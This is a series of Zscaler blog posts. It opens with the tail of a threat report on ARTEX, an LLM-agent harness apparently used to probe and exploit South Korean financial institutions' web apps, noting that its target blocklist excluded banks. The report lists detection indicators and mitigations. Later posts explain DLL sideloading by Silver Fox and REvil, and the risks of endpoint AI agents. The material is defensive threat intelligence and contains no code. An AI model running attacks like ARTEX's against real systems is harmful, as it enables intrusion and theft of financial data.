a report containing validated findings.The harness supported multiple LLM backends. In this campaign, the threat actor configured ARTEX to use the services listed in Table 1.ARTEX guardrails and scope controlsARTEX included guardrails intended to restrict targeting of government entities and universities through a default blocklist. However, these restrictions did not extend to financial institutions, as shown in ARTEX’s source code below.Figure 2: ARTEX source code defining default government and education domain filters. Behavioral IndicatorsThe following table outlines potential indicators defenders can investigate alongside other evidence of suspicious activity. IndicatorDescriptionOutbound API calls to api.anthropic.com, api.deepseek.com, open.bigmodel.cn, or api.x.aiPotential use of LLM services; investigate unexpected calls in conjunction with other suspicious activityHigh-frequency automated HTTP requests with sequential enumeration patterns against login and search endpointsPotential automated reconnaissance or enumerationOutbound transfers of structured data including names, phone numbers, and financial information over HTTPS to unauthorized external destinationsPotential exfiltration of financial PIIPresence of *.aspx or *.jsp files in unexpected web application pathsPotential web shell activityTable 2: Potential behavioral and file-based indicators associated with the techniques described in this campaign. ConclusionThe threat actor used ARTEX to support reconnaissance and exploitation in targeting South Korean financial institutions. The ARTEX agents identified and probed peripheral, internet-facing web applications, then exploited vulnerabilities in those applications to gain unauthorized access. ThreatLabz encourages organizations to follow the recommendations in this blog, such as reducing application exposure and deploying deception controls, to strengthen defenses against AI-assisted attacks. How Zscaler Can HelpStageRecommended MitigationMinimize the external attack surfaceEliminate externally exposed assets like enterprise applications which are often subject to these zero-day exploitation attempts by leveraging a Zero Trust architecture.Perform red teaming on all external assets. Zscaler’s AI red teaming uses an agentic workflow with controls designed to support authorized security testing:Start with the application’s source code to map the agent’s tools, permissions, inputs, and access checks. Our agents then test specific security hypotheses.Update the testing plan after each finding. Each agent has a defined role and access only to that role’s tools. Shared memory tracks roles, trust boundaries, and data flows. This supports testing whether a user, such as a broker, can access another broker’s client files.Enforce rules of engagement in the harness rather than relying on model instructions alone.Prevent compromiseDetonate unknown second-stage payloads with Advanced Cloud Sandbox.Route server egress through ZIA to detect/block post-compromise activity.Enable SSL/TLS inspection for all traffic, including trusted sources.Enable Advanced Threat Protection to block known C2 domains.Use Advanced Cloud Firewall to extend C2 controls across all ports/protocols, including emerging C2.Prevent lateral threat movementUse ZPA to enforce least-privilege user-to-app segmentation for crown-jewel apps (employees and third parties).Use ZPA inline inspection to block exploitation attempts against private apps from compromised users.Use Zscaler Deception to detect and contain lateral movement or privilege escalation with decoy assets and accounts.Prevent data lossInspect outbound traffic across channels with Zscaler DLP. Zscaler CoverageZscaler’s multilayered cloud security platform detects indicators related to the campaign at various levels with the following threat name:HTML.MalURL.Gen.LZ

The Hidden Cost of Friction: Why Factory Workers Experience IT Differently

Alex Fray (Innovation Lead) — Wed, 14 Oct 2026 16:21:33 GMT

A few months ago, I was on-site at a large consumer goods manufacturer. I was there to explore how Zscaler technology could support their factory operations, the kind of day that starts in a meeting room and ends with a walkthrough of the factory floor. And it was on that walkthrough, shown around by one of their team, that something shifted my thinking.We were watching a maintenance technician at work. He was diagnosing a fault on a production line, moving between machinery, checking readings, speaking with colleagues, trying to pinpoint the source of an issue. Mid-flow, the tablet he was using logged him out. Inactivity timeout.He needed to sign back in. But this isn't a desk job. His hands were gloved, standard PPE on this part of the floor. He removed the glove, located the device, entered his credentials, re-gloved, and picked up where he left off. I watched it happen again twenty minutes later. And according to the person showing me around, this was entirely normal. Every day. Every shift.What struck me wasn't the timeout itself. It was the matter-of-factness of it. Nobody flagged it. Nobody complained. The worker just adapted and moved on. And that, I realised, was exactly the problem.Now, the security rationale behind that inconvenient timeout is completely reasonable. The organisation clearly doesn’t want an unattended device left logged in on a busy factory floor. They’ve put this simple security control in place to protect access, reduce the risk of an unauthorised breach, and ensure there is a level of accountability baked in if something does go wrong. From a governance perspective, everything is working exactly as intended. Great. However, there is a 'but'… the technician feels annoyed by the need to continuously sign in. With his attention split between equipment, people and processes, and with the clock ticking on an unresolved fault that could halt production, the pressure to keep moving is real. So he adapts. They all do.Some workers get into the habit of tapping the screen every few minutes to stop the session expiring. Others go further. Credentials get shared between colleagues so that whoever picks up the device next doesn't have to stop and re-authenticate. Devices get modified, lock screens disabled, auto-timeouts adjusted, because someone decided the control was getting in the way of the job. Workers reach for their personal devices instead of the issued device, because it's faster, easier, and already in their pocket. And in some cases, login details end up written on a label stuck to the back of the device itself, visible to anyone who picks it up.None of these are acts of malice. They're acts of pragmatism, driven by the very real pressure to resolve issues and keep the line moving. A stopped production line costs money by the minute, and no worker wants to be the reason it stopped. The security control is still nominally in place. But the protection it was designed to provide? That's gone. Frustration is present. But it rarely surfaces. Workers don't raise IT tickets about this. They don't escalate. They solve the problem in front of them and move on. And herein lies the problem.The Invisible TaxTechnology teams focus on security controls, compliance outcomes, audit readiness and on-target deployments. All important measures of success. The challenge is that these metrics don't reveal what the day-to-day experience of using that technology actually feels like.For staff on the ground, impact is measured by efficiency. Three seconds here. Ten seconds there. One extra login. One additional approval. One more interruption to a task. Viewed in isolation, these time drains are insignificant. But lump them together and you see a clear snowball effect of lost seconds rolling into minutes, repeated across shifts, sites and hundreds of workers. Production doesn't stop for repeated logins and logouts. Output targets still need to be met, so the line can keep moving. Time lost is business lost. The IT department and the factory floor are measuring different things: neither perspective is wrong. But this difference of opinion does create a disconnect between how tech teams believe work happens and how work really happens. Manufacturing organisations spend a lot of time preparing for outages, security incidents and operational disruption. Less attention tends to be paid to the small frustrations workers encounter every day, despite the fact that these hurdles can have a huge cumulative impact. The necessary shift leaders must now make is factoring in the cost of operational friction required to achieve security.What Good Actually Looks LikeLet’s get back to understanding which benefits workers actually value, and which goals shape the way they work. Output, quality and efficiency are core drivers, with reliability, simplicity, continuity and speed seen as valuable benefits of any technology. When technology supports factory-floor goals, adoption (in the way it was intended) becomes natural, fewer security workarounds emerge, productivity improves, and security itself becomes easier to sustain. In fact, the best manufacturing technology is the one that fits so naturally into the workflow that workers stop thinking about it altogether. It needn’t be technology that workers actively appreciate. It needs to be technology they barely notice.What does this mean for the people deploying the technology? Insight into their colleagues’ actual experiences using the technology for the first few months is a first-order priority. For example: how much extra effort does the technology require on the factory worker’s part? What workarounds are emerging, and why?The technology may very well be the most advanced on the market, but that won’t matter if its controls are designed around ideal operating conditions rather than operational reality. IT’s metric of success must evolve from the traditional “does this pass the security review” test to a place where they can answer this: “can a worker get through a 12-hour shift using this naturally without needing to think about it?” The strongest sign of success may be that workers stop noticing the technology is there at all. Because if people need workarounds to get their job done, the technology hasn't truly succeeded, no matter how successfully it was deployed.This blog is the third in a short series looking at how the security challenges facing manufacturing are converging. The first explored why distributed, cellular-connected environments are making it harder for organisations to maintain visibility and control at scale. The second examined how the speed of connected systems is outpacing organisations' ability to respond. This piece brings it to the human layer, because even the most technically sound security architecture will be quietly dismantled by the people it inconveniences, if their operational reality isn't designed for them.You can read the full series here:Part 1: From Air Gaps to Always Connected - The Uptime Challenge for SecurityPart 2: The Race to Production - Why Connectivity is Becoming a Competitive Risk

Introducing the Modernized Client Connector UI

Karen Daza (Zscaler) — Wed, 14 Oct 2026 12:10:12 GMT

Since the very beginning, the Zscaler Client Connector has been a cornerstone of the zero trust architecture that we provide to customers. It’s the endpoint agent that ensures user traffic flows through the Zero Trust Exchange for least-privileged access to any destination. By and large, customers have been very happy to use Client Connector and its breadth of innovative functionality. But we've heard all of your feedback: the end user interface looked outdated, it felt complex and confusing, and it needed to accommodate your company's branding so that your users could know that it was deployed by your IT team. So, we're excited to introduce the modernized Client Connector UI, delivering a cleaner, simpler, and more intuitive experience that is designed with your end users in mind.The new UI experience for Client Connector strips away the noise and minimizes the chances of end users getting confused. Instead of surfacing complex technical details by default, users now get instant, clear feedback on the status of their Zscaler services—all at a glance. But that doesn’t mean that we’ve taken anything away; users who need to dig into advanced details can still do so, and anyone who wants to fall back to the classic UI to troubleshoot an issue can still do that, too. Additionally, we've added optional custom branding so that your organization can tailor Client Connector to match your internal applications and give employees a seamless, consistent experience across your entire tech stack.Alongside the new UI, we're also introducing granular notification control—a long-requested capability that puts administrators in control of the notifications that their end users receive. Previously, notifications were categorized and controlled entirely by Zscaler, leaving customers unable to determine which alerts their end users would see and which they would not. Now, from a single admin portal, you can configure the visibility and persistence of each individual notification across solutions and across categories like service status, app update, and more. Not to mention, you can have different settings for each of the different supported operating systems. The result is far greater control over the experience in your specific environment, and dramatically reduced notification noise for end users. That means less friction for admins and better quality of life for users—and that's the power of the modernized Client Connector UI.If you’re ready to explore the new, better-than-ever experience for Client Connector, reach out to your Zscaler account team and request access to the Client Connector 5.0 release.

Uncovering Executables that Trigger DLL Sideloading Attacks with Endpoint Context

Darshit Ashara (Zscaler) — Mon, 12 Oct 2026 23:22:28 GMT

Threat actors are constantly refining their techniques to evade detection and deliver malicious payloads. DLL sideloading is a technique that has seen a resurgence in popularity among cybercriminal and espionage groups. This covert method allows attackers to execute malicious code under the guise of a legitimate and trusted application, making it a formidable challenge for security professionals to detect and mitigate.This blog post will delve into the mechanics of DLL sideloading, explore how threat actor groups like Silver Fox and REvil leverage this technique and how Zscaler Endpoint Context helps SecOps teams uncover files masquerading as valid executables that trigger DLL files to execute malicious code. What is DLL Sideloading?A Dynamic-Link Library (DLL) is a file that contains code and data that can be used by multiple programs at the same time. DLL sideloading is an attack vector that exploits the way Windows applications search for and load these required DLLs.When an application is launched, it often needs to load various DLLs to function correctly. If the application doesn't specify the full path to a required DLL, Windows will search for it in a predetermined sequence of directories. Attackers can take advantage of this by placing a malicious DLL with the same name as a legitimate one in a location that Windows searches *before* the directory containing the genuine DLL. When the legitimate application starts, it inadvertently loads and executes the malicious DLL, giving the attacker a foothold in the system. How Threat Actors Use DLL SideloadingDLL sideloading is a popular technique for several reasons:Evasion: Because the malicious code is executed by a trusted and often digitally signed application, it is less likely to be flagged by antivirus software and other security solutions.Persistence: If the compromised application is one that runs at startup, the malicious DLL will also be loaded each time the system boots, ensuring the attacker's code persists on the infected machine.Privilege Escalation: If the legitimate application runs with elevated privileges, the malicious DLL will inherit those same permissions, allowing the attacker to perform more sensitive actions on the system. Example 1: Silver Fox's Attack on Accounting and Tax Preparation FirmsSilver Fox, a China-based threat actor group (also known as Void Arachne), has been observed using DLL sideloading in targeted attacks against accounting and tax preparation firms. Their campaigns often involve socially engineered phishing emails with themes directly relevant to accounting professionals, such as tax audits, invoices, and financial reports.Here’s a step-by-step breakdown of a typical Silver Fox attack:Initial Access: The attack begins with a spear-phishing email sent to an employee at an accounting firm. The email might be disguised as an official communication from a tax authority, complete with a malicious attachment, such as a PDF or a ZIP file. In one documented case, the filename was "The blacklist of tax-related accounting personnel in March is as follows.exe" to entice the victim.Lure and Execution: The user is tricked into opening the attachment. The attachment is a dropper that contains a legitimate, signed executable from a known software vendor (e.g., Tencent, Zeon Corporation, or Thunder Download Manager) and a malicious DLL.DLL Sideloading: The legitimate executable is launched. It needs to load a specific DLL to run, but instead of loading the legitimate one from the system directory, it loads the malicious DLL that the attacker placed in the same directory. For instance, Silver Fox has been known to use ‘ConvertToPDF.exe’ and ‘PDFDirect.exe’ from Zeon Corporation to sideload a malicious DLL named ‘PDFCORE8.dll.’Payload Delivery: The malicious DLL, now running under the trusted process of the legitimate application, decrypts and deploys the final payload. In Silver Fox's case, this is often ValleyRAT, a remote access trojan (RAT).Post-Exploitation: With ValleyRAT installed, the attackers have full control over the compromised system. They can steal sensitive data (client information, financial records), log keystrokes, and deploy further malware. Example 2: REvil Ransomware's Use of DLL SideloadingThe notorious ransomware-as-a-service (RaaS) group, REvil (also known as Sodinokibi), has also employed DLL sideloading to execute its ransomware.Here's how they did it:Initial Compromise: REvil gained initial access to a target's network through various means, such as exploiting vulnerabilities or using stolen credentials.Dropping the Files: Once inside, the attackers would drop two files into a directory on the compromised system: a legitimate, signed Microsoft Defender executable (`MsMpEng.exe`) and a malicious DLL named `mpsvc.dll`.Sideloading the Ransomware: The attackers would then execute `MsMpEng.exe`. This legitimate Microsoft process would then load the malicious `mpsvc.dll`, which contained the REvil ransomware payload.Encryption and Ransom: The ransomware, now running under a trusted Microsoft process, would begin encrypting files on the system and network shares. A ransom note would then be displayed, demanding payment for the decryption key. How Zscaler Endpoint Context Prevents DLL Sideloading AttacksZscaler's cloud-native platform provides a multi-layered defense to proactively stop DLL sideloading attacks before they can compromise an endpoint. Zscaler's approach is multipronged and anchored by our platform’s ability to inspect massive quantities of transactions at global scale to prevent malicious DLLs from reaching users’ devices in the first place.Threat actors leverage DLL sideloading because it abuses the trust placed in legitimately signed executables. Both REvil (Sodinokibi) and Silver Fox (Void Arachne) exploit this: REvil drops a malicious mpsvc.dll alongside an old, validly-signed copy of Microsoft Defender (MsMpEng.exe) to deliver its ransomware encryptor, while Silver Fox uses signed applications like NtHandleCallback.exe or QnWallpaper.exe to sideload encrypted shellcode DLLs (e.g., log.dll, libcef.dll) that deploy ValleyRAT or Gh0st RAT backdoors.Zscaler Endpoint Context disrupts these attack chains at multiple stages:1. Pre-Execution DLL InterceptionThe Endpoint Sandbox extends Zscaler's cloud-based behavioral analysis to the endpoint itself. Before an unknown or suspicious DLL executes, whether delivered via phishing download, SEO poisoning, or trojanized installer, the sandbox can hold the file, analyze it, and block execution if it is deemed malicious. This stops both REvil's mpsvc.dll drop and Silver Fox's encrypted shellcode DLLs before they ever load.2. Process-Network Correlation to Catch Sideloading AnomaliesEndpoint Context enriches every network transaction with the initiating process name, file path, hash (MD5/SHA-256), and code-signing certificate status. This surfaces the hallmark red flag of sideloading: a legitimately signed binary making suspicious network calls while running from an atypical location (e.g., %TEMP%, %PUBLIC%, or AppData). A policy can then automatically block or alert on that traffic. For example, flagging MsMpEng.exe calling out to a command-and-control server from a user's Downloads folder.3. Certificate and Hash ValidationBy continuously verifying code-signing status, Endpoint Context detects the "white-plus-black" pattern Silver Fox relies on where a signed host binary loads an unsigned or tampered DLL. Any DLL with an invalid, expired, or missing certificate loaded by an otherwise trusted process is flagged, breaking the chain of assumed trust.4. Application Risk Scoring and Zero Trust Policy EnforcementEndpoint Context assigns dynamic risk scores to running processes based on CVEs, behavioral signals, and vulnerability data. Policies can automatically restrict internet or private-app access for any process with a high-risk classification, preventing post-sideload lateral movement or data exfiltration even if a malicious DLL does load.5. Enriched SOC TelemetryAll process, path, hash, and certificate data is streamed via the Nanolog Streaming Service (NSS) to SIEM tools, giving security teams the correlation context needed to quickly identify sideloading campaigns — without manually pivoting between EDR consoles and network logs. Conclusion and Mitigation StrategiesDLL sideloading poses a significant threat to organizations of all sizes. However, there are steps that can be taken to mitigate the risk:Zsacler Endpoint Context: Monitor for suspicious process behaviors, such as an application loading a DLL from an unusual path, which can help detect sideloading attempts.Application Whitelisting: By allowing only approved applications to run, organizations can prevent unauthorized executables from being used to sideload malicious DLLs.Secure Coding Practices: Developers can help prevent these attacks by specifying the full path to required DLLs in their applications and digitally signing all DLLs.User Education: Training users to be cautious of unsolicited emails and attachments can help prevent the initial compromise that often leads to a DLL sideloading attack.Principle of Least Privilege: Restricting user permissions to prevent files from being written to critical application directories can stop attackers from placing malicious DLLs in the first place.By understanding the mechanics of DLL sideloading and implementing a layered security approach, organizations can better defend themselves against this insidious attack vector. Learn more by requesting a demo.

What's New in ZDX: Sharper Alerts, Cleaner Data, Faster Troubleshooting

Cynthia Tu (Sr. Product Marketing Manager, DEM) — Mon, 12 Oct 2026 20:02:05 GMT

Every month, Zscaler Digital Experience (ZDX) releases updates that help IT and network operations teams see more, troubleshoot faster, and manage the digital experience of their users at scale. From expanded network architecture support to more granular probe controls, this month's releases reflect what our customers keep telling us: giving teams more precise controls to cut through noise, more accurate data to act on, and a cleaner experience to work in every day.Here's what is new with ZDX:Smarter Alerts for Collaboration Quality MonitoringFilter Dashboards by Data CenterReal User Monitoring ImprovementsConsistent UX with ZDX in Experience Center Smarter Alerts for Collaboration Quality MonitoringFor organizations that rely on real-time alerts to catch collaboration quality issues before they impact users, the granularity of those alerts matters enormously. A generic alert that fires for every region, including ones you know have connectivity variance, creates noise that slows teams down rather than helping them.ZDX now supports expanded filtering and grouping options when configuring collaboration quality alerts. Teams can now apply inclusion and exclusion filters by location, country, city, and other dimensions, the same granularity that is already available for application and network alert types. You can also group alert data by these dimensions to understand whether an issue is localized to a specific office or widespread across a region.The result: Fewer false positives, more targeted notifications, and faster triage when something actually goes wrong.ZDX tier: Available for ZDX Advanced and Advanced Plus customers. Filter Your Dashboards by Data CenterWhen a performance degradation or service disruption is reported at a specific data center location, the first question is always: who's affected, and what is the impact? Until now, correlating a data center event with actual user experience data required workarounds or relying on pre-built system reports.ZDX now lets you filter live dashboard data by Zscaler data center across the Network Intelligence dashboard and other key views. Select one or more data centers from the filter dropdown and immediately see the telemetry from application performance, network path health, device metrics from users egressing through those locations.The result: Network operations teams who need to quickly scope the blast radius of an infrastructure event and communicate impact to the business in real time.ZDX tier: Available across all ZDX license tiers. Real User Monitoring: More Precision, Less AmbiguityZDX's Real User Monitoring capability captures how end users actually experience web applications like load times, errors, navigation flows directly from the browser. The latest update brings a set of meaningful improvements for teams who depend on this data:Clearer load time metrics for single-page applications: Page load time and navigation time are now reported distinctly, so you can understand whether slowness is coming from the initial page load or subsequent in-app navigation events.Multiple errors per session visible: When more than one error occurs during a monitoring window, all error events are now displayed, not just the first one, giving a complete picture of what a user experienced.Consistent score terminology: Score labels across the ZDX interface now use uniform naming conventions, eliminating the ambiguity that came from inconsistent labels across different views.Enriched browser data collection: The browser extension now captures additional resource-level attributes, enabling deeper analysis of web application performance bottlenecks.The browser extension updates automatically with no action needed from end users or IT teams.ZDX tier: Available for ZDX Advanced Plus customers. A More Consistent Console ExperienceWe also completed a significant UI refresh across ZDX. Filters, tables, drawers, time-range selectors, page headers, and other core interface elements have been updated to follow a unified design system, delivering a consistent look and feel whether you're working in dashboards, alert configurations, or device detail views.The change is purely visual and requires no workflow adjustments, but the day-to-day impact is real: a more predictable interface reduces the small moments of friction that slow teams down during active troubleshooting.ZDX tier: Available across all ZDX license tiers. What's NextThese releases reflect a consistent theme across ZDX's evolution: better signal, less noise, and faster paths from detection to resolution. Whether it's more precise alerting, accurate device data, or a cleaner interface to work in, every improvement compounds over time into a meaningfully more efficient operations workflow.Keep an eye out for what's coming in next month’s releases, including updates that will make it even easier to prioritize and respond to issues for your organization's most critical users.See all the latest ZDX releasesAlready a ZDX customer? Log in to ZDX to explore these features. New to ZDX? Learn more about ZDX.

From Solutions Engineer to Enterprise Account Executive

Zscaler Life (Zscaler) — Mon, 12 Oct 2026 18:24:08 GMT

At Zscaler, career development isn't a rigid ladder, it’s an environment built on shared ownership, trust, and co-elevation. Learn how Laksh leverages his technical depth, dynamic range, and Zscaler’s collaborative team culture to transition from Solutions Engineer to Senior Solutions Consultant, and ultimately to Enterprise Account Executive. Q: What new skill or role did you set out to learn?A: As a Solutions Engineer, I was deeply comfortable in the technical domain, but I always felt drawn toward the business side of enterprise sales. I wanted to understand why deals stall, how executive stakeholders make decisions, and what it truly takes to align technology with strategic business outcomes.To achieve that, I needed to develop true dynamic range—the ability to move seamlessly between deep technical execution and high-level strategy. I set my sights on mastering champion enablement, executive stakeholder management, and complex deal orchestration. For me, this wasn’t just about a title change; it was about stepping beyond traditional functional swim lanes to become a well-rounded Go-To-Market (GTM) professional who can speak the language of a CIO. Technical credibility gets you into the room, but earning trust through real business impact is what truly differentiates a GTM leader. Q: How did Zscaler support your learning and professional growth? A: Zscaler’s culture of co-creation and co-elevation made all the difference. Growth wasn't just classroom theory; it was hands-on and lived out every day across teams. Through the Buddy Program, seasoned Account Executives openly shared their deal playbooks, objection-handling strategies, and executive communication frameworks. Leadership also invested dedicated mentorship time to coach me on pipeline management and navigating long enterprise deal cycles.What stood out most was how people worked beyond the org chart. AEs, product specialists, and leaders stepped in to elevate my skills, bringing me into live customer meetings and trusting me to progressively take ownership of client conversations. Instead of working in silos, we co-created solutions for our customers together. Zscaler genuinely creates an environment where, if you bring an owner's mindset and a hunger to grow, the whole team leans in to help you succeed. Q: How has this career pivot shaped your career trajectory?A: The outcome is a career journey I’m incredibly proud of: progressing from Solutions Engineer to Senior Solutions Consultant, and now to Account Executive in Zscaler’s Enterprise segment. Each step was an opportunity to launch and iterate on my skill set—moving from technical advisory to fully owning the revenue relationship and driving meaningful business outcomes.Earning trust through results is at the core of how we operate here. The capabilities I built—executive engagement, champion development, and cross-functional deal strategy—are now part of my everyday toolkit. Above all, this experience proved that growth at Zscaler is grounded in our shared commitment to each other and to customer success. I am a direct product of that team-first culture, and it shapes how I show up for my customers every single day. We’re hiring! Explore open opportunities: https://www.zscaler.com/careers/search?departments=GTM+Sales&page=1

Closing the Endpoint Zero Trust Gap

Dhawal Sharma (Executive Vice President, AI Security and Strategic Initiatives) — Thu, 08 Oct 2026 23:20:47 GMT

At Zenith Live in Las Vegas, we introduced Zscaler AI Endpoint Security, a new product that extends Zscaler's AI protection to the endpoint. If you already use Zscaler to secure AI usage across your network, cloud, and SaaS applications, this product applies the same zero-trust approach to the AI applications and agents now running directly on your users' devices.This post covers why we built it: what's actually changing on the endpoint, why the tools most organizations already run there aren't designed for this problem, and how Zscaler is approaching it. What we're seeing on the endpointA new AI application layer has been forming on enterprise endpoints, and it has grown faster than most inventory processes can track.It started with frontier AI applications: Claude Code, Cowork, OpenAI Codex, Gemini, Microsoft Copilot. What's notable isn't just the adoption rate; it's who is adopting them. These are no longer developer tools. Finance teams, marketers, and HR teams are using them to do work that previously required a technical specialist, and they're getting real results. That's exactly why this trend won't reverse.The part that concerns security teams is everything these applications bring with them:Configuration and extension sprawl: Plugins, skill files, prompt libraries, MCP servers, subagent definitions, memory files, and background telemetry processes. These components install and update outside your normal software lifecycle.AI-powered IDEs: VS Code, Cursor, and Windsurf, each with extension marketplaces where third-party code runs with the user's full privileges.Local models: Ollama, LM Studio, and llama.cpp put multi-gigabyte model files on disk. We've seen model files that carry serialized code execution, embedded backdoors, content that violates policy, and models renamed to look like something they're not.Package dependencies: Python, npm, and Homebrew packages pulled in by the hundreds to support AI workflows, with the supply-chain exposure that implies.AI assistants and browsers: Tools like OpenClaw, Hermes, and Microsoft Scout, plus AI-enabled browsers such as Chrome, Edge, Comet, and Atlas with embedded models and agent capabilities.Underneath all of this sits the change that matters most: agents act as the user. An agent runs under the user's identity, with the user's permissions, touching the user's files and network connections. When we talk to security teams, this is the point where the conversation usually slows down, because most of their controls and audit trails assume that an action taken under a user's identity was taken by that user. That assumption no longer holds.This is AI asset sprawl: applications that create applications, files created faster than they can be classified, and identities that are no longer only human. Why existing endpoint tools weren't built for thisThe reasonable first question is: don't EDR, DLP, and MDM already cover the endpoint? They do, and none of them should go anywhere. But each one was designed around assumptions that AI asset sprawl breaks. This isn't a criticism of those products. It's a scoping observation.EDR watches files, processes, and threads, and it's very good at recognizing attack patterns and stopping malware and ransomware. But walk through a typical AI incident: a user types a prompt, an agent modifies local files and sends data over the network. From EDR's perspective, there is no malware signature, no process injection, no privilege escalation—just a signed application from a major vendor doing normal application things. The context that would tell you something is wrong lives at the AI application layer: the prompt, the skill file that shaped the behavior, the MCP server involved, the agent's goal. EDR was never designed to see any of that.DLP was built for an environment where you could catalog your files, trace when each was created and modified, and scan content against known patterns. Those steps still work; the environment changed. On an endpoint with active agents, hundreds of new files can appear per minute: generated reports, working datasets, code, memory files. Classification pipelines sized for human document-creation rates fall behind immediately. Lineage breaks too — a file an agent synthesized from six sources and rewrote twice has no ancestry a traditional DLP can reconstruct. And pattern matching struggles when agents constantly reshape and re-encode the data they touch.MDM gave IT a reliable answer to "what is installed on this machine?" Sanctioned apps, managed versions, change control. The new failure mode is simple to state: AI applications create other applications. One prompt produces a finance dashboard app in its own folder. Another folder fills up with PowerShell scripts that modify system settings. None of it went through change management, none of it appears in the software inventory, and MDM has no mechanism to version it or determine what it's for. The gap between what IT believes is on the endpoint and what is actually running there widens every day.The common thread: all three product categories assume a predictable endpoint—known applications, human-speed file creation, human-only identity. AI asset sprawl breaks all three assumptions at once. That's not a feature gap you close with a release; it's a different problem that needs a purpose-built product. How Zscaler AI Endpoint Security worksWe built this product from the ground up for this new AI-native application layer, around the same zero trust principles that run through the rest of the Zscaler platform: verify rather than assume, tie every action to an identity, and enforce policy inline. The Zscaler agent on the endpoint gains visibility into the AI application layer itself, and delivers three capabilities.1. AI Asset InventoryFirst, discovery. The product builds and maintains a complete inventory of AI assets on each endpoint:Frontier model applications (Claude, Codex, Copilot, Gemini)Local model applications (Llama, Ollama, LM Studio, custom models)AI browsers and AI-powered IDEsPackage managers and other channels bringing AI components onto the deviceThe entire ecosystem installed within these apps, including plugins, extensions, skills, and add-onsInventory goes below the application level, to the components that determine what these apps can actually do: config files, skill files and prompts, MCP servers, agent definitions, memory and knowledge stores, model files, telemetry and persistence mechanisms. The output is a structured map of your AI footprint per endpoint, with high-risk findings flagged—unapproved agents, risky plugins, unknown model files, and shadow AI your inventory has never seen.2. AI Agent Runtime MonitoringInventory tells you what's present. Runtime monitoring tells you what it's doing. While AI applications run, Zscaler captures the events that matter at the AI application layer:Prompts and responsesTool and function callsSkill files invoked and MCP servers connectedFile access and data movementProcess and data lineageSystem interactions and network connectionsBecause these events are captured with full context, you can reconstruct a complete agent run—the main agent and every subagent it spawned—and correlate it to identity: which user, which agent, which device, which data. This is the piece that directly addresses the ‘agents act as the user’ problem. When something anomalous happens, you're not left guessing whether the human did it; you can see exactly which agent acted, on whose behalf, and what it touched.3. Enterprise AI Policy EnforcementVisibility on its own doesn't change outcomes, so the third capability is inline enforcement—the control point IT and security teams have been missing on this layer. Policies apply in real time to:Block rogue or unauthorized agents before they actStop malicious skill files and instructionsHalt dangerous commands and code execution via agentsPrevent data exfiltration and protect sensitive or critical filesMonitor and police extensions within frontier AI appsFlag PII inside prompts before it leaves the deviceEnforce acceptable-use, data-protection, compliance, and custom enterprise policies consistently across frontier AI apps, AI-powered IDEs, AI assistants, and AI browsers alikeTaken together: inventory answers “what is here”, runtime monitoring answers “what is it doing,” and enforcement answers “what will we allow.” The same questions zero trust has always asked—now asked of AI assets and agents on the endpoint. Why the need is so urgentThree things convinced us this needed to be a must-build product—and that it couldn't wait.The endpoint is becoming a software factory. "Apps that create apps" is not an edge case we found in testing; it is the stated product direction of every major AI vendor. And it is exactly how AI asset sprawl compounds, as every new application arrives with its own configs, skills, models, and agents. Subagents, background agents, agents embedded in browsers and IDEs: hundreds of agents will soon be running on endpoints on behalf of users, just as they already are in the cloud. Any governance model built on "one identity, one human" stops scaling; agent identity and lineage have to become first-class objects in your security model. The gap between installed software and existing software will keep growing, and only continuous discovery paired with runtime observation can keep up with software that didn't exist an hour ago.Audit requirements are moving toward AI actions. The questions we increasingly hear from compliance teams are concrete: which agent touched this customer data, under whose authority, and what left the device? Those questions can only be answered at the endpoint, at the AI application layer, at runtime. Organizations that can't reconstruct an agent run will struggle to answer them at all.Productivity and competitiveness cannot slow down. Every organization is watching its peers and competitors adopt AI at full speed. Blocking the tools that make employees more productive is not a viable answer because it simply trades a security risk for a competitive one. A security solution built for the AI application layer means people keep doing their best work with the tools that raise the organization's productivity and success, while the enterprise stays in control.We've seen this pattern before. When perimeters dissolved, zero trust replaced castle-and-moat on the network. When work moved to cloud and SaaS, zero trust followed. The AI application layer arriving on the endpoint is the same story, one layer further in. And it's better to have controls in place while the sprawl is measured in dozens of assets per device rather than hundreds.EDR will keep stopping malware. DLP will keep protecting the data it can see. MDM will keep managing the software IT deploys. Keep all three. Zscaler Endpoint AI Security covers the layer none of them see: the AI applications, agents, and assets acting on your endpoints under your users' identities. What's nextZscaler Endpoint AI Security is rolling out to customers now. If you want to see your own endpoint AI footprint—most teams are surprised by their first inventory report—learn more here or reach out to your account team for a demo.

Navigating Security in the Nordics and Baltics: Meet Annika Grönström

Zscaler Life (Zscaler) — Thu, 08 Oct 2026 22:19:54 GMT

What does it take to build a high-performing, customer-obsessed sales team in the Nordics and Baltics? Meet Annika Grönström, RVP of Sales for Nordics & Baltics. What is your team focused on right now? AI is a major focus. Both with enablement for our sales teams so they can guide customers confidently through the intersection of AI and security, as well as partnerships for large security transformations. What drew you to Zscaler, and what makes it such an exciting place to work right now?The security solution itself. I truly believe in what we do—it is a cool, disruptive, and incredibly important technology. What is exciting is helping companies secure this next era. We are having many conversations about how to use AI with confidence. As one customer told me, "I don’t want to stop our employees from using AI—I want you to help us use it without being afraid of it." That is exactly where we make a difference.What do you think the future of AI will look like?AI is reshaping how companies work, share knowledge, make decisions, and use information. It democratizes access to capabilities across many different roles, and we play a vital role in helping organizations get there faster and more securely.What does a day on your team look like?It is a mix of high customer interaction and deep preparation. Our team puts significant effort into the planning phase to understand each customer's priorities and bring the right solutions forward. We also stay close post-sale to ensure customers consistently realize value.What kind of person thrives on your team?Someone who is genuinely curious, customer-obsessed, and possesses a strong work ethic. I look for "dynamic range"—people who can synthesize customer needs, our solutions, and the market to connect the dots. Because we are constantly evolving, this is a prime environment for determined, growth-minded people ready to make an impact.How would you describe your leadership style?I am a coach first—encouraging, strategic, and experienced. I guide people through ongoing feedback rather than micromanagement, extending trust from day one. I also believe work should be done with joy; building a strong, fun team spirit while delivering great results matters deeply to me.What’s the best piece of advice you’ve received in your career?Understand the customer. That has always stayed with me. When you deeply understand the customer, you create better outcomes, build lasting relationships, and ensure they feel supported in a meaningful way.What’s something personal that helps people get to know you beyond your title?I’m a very active person. I love running, golf, spending time outdoors, and skiing, which was a major part of family life when my two daughters competed. I also have a Goldendoodle named Boston, and when I am home, I enjoy gardening and growing my own vegetables, herbs, and flowers.We're hiring on our sales team! Explore opportunities at zscaler.com/careers

Suspected TraderTraitor Group Uses Trojanized Terraform Provider to Deliver Cross-Platform Malware

Seongsu Park (Staff Threat Researcher) — Thu, 08 Oct 2026 19:49:04 GMT

